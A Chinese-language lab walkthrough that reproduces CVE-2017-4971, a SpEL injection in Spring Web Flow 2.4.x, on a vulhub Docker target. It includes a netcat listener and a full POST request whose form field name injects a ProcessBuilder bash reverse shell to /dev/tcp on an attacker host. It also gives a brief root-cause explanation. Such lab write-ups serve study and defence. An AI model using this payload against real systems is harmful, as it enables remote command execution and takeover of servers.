一.Spring Web Flow框架的概念
Spring Web Flow (SWF) 是Spring Framework的一个脱离模块。这个模块是Spring Web应用开发模块栈的一部分,Spring Web包含Spring MVC。Spring Web Flow 的目标是成为管理Web应用页面流程的最佳方案。当你的应用需要复杂的导航控制,例如向导,在一个比较大的事务过程中去指导用户经过一连串的步骤的时候,SWF将会是一个功能强大的控制器。
二.漏洞原理
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
三.影响版本
Spring Web Flow 2.4.0 – 2.4.4
四.搭建环境
1.vulhub靶场下载
2.docker-compose下载地址
3.服务启动
一切都准备好之后就可以启动CVE-2017-4971 的环境了.
先cd到spring目录下的CVE-2017-4971里面,然后使用docker-compose启动环境.
docker-compose up -d #安装并启动环境
docker ps #查看当前正在运行的服务
可以看到spring的端口为8080
ip a #查看IP 我的IP为192.168.184.155
在浏览器端输入 你的ip+端口8080 访问服务,如果显示空白页面,则表示服务搭建成功!
4.开启反弹监听
打开kali
nc -lvvp 8888
五.漏洞复现
1.登录
首先访问: http://192.168.184.155:8080/login 用登录框左边给出的任意一个账号密码登录系统:keith/melbourne
然后访问id为1的酒店 http://192.168.184.155:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
2.抓包
点击确认“Confirm”的时候抓包
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub
我的请求体为:
POST /hotels/booking?execution=e1s2 HTTP/1.1
Host: 192.168.184.155:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://192.168.184.155:8080
Connection: close
Referer: http://192.168.184.155:8080/hotels/booking?execution=e1s2
Cookie: JSESSIONID=0C2BE448CE792811E700B2B2A72C87FB; rememberMe=test
Upgrade-Insecure-Requests: 1
_eventId_confirm=&_csrf=de9be8cc-9939-45eb-b08c-59569deb2572&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.184.136/8888+0>%261")).start()=vulhub
然后点击"forward" 放包.
成功getshell.
六.实验原理
我也不是很懂,但是读了一篇博客后,感觉清晰很多,总结一下,就是在订阅图书处,存在一个命令执行,直接调用了两个函数:
一个是:addDefaultMappings ,一个是 addModelBindings。其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。
所以条件有两个:
(1)binder节点为空;(2) useSpringBeanBinding 默认值(false)未修改。由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)
参考文章: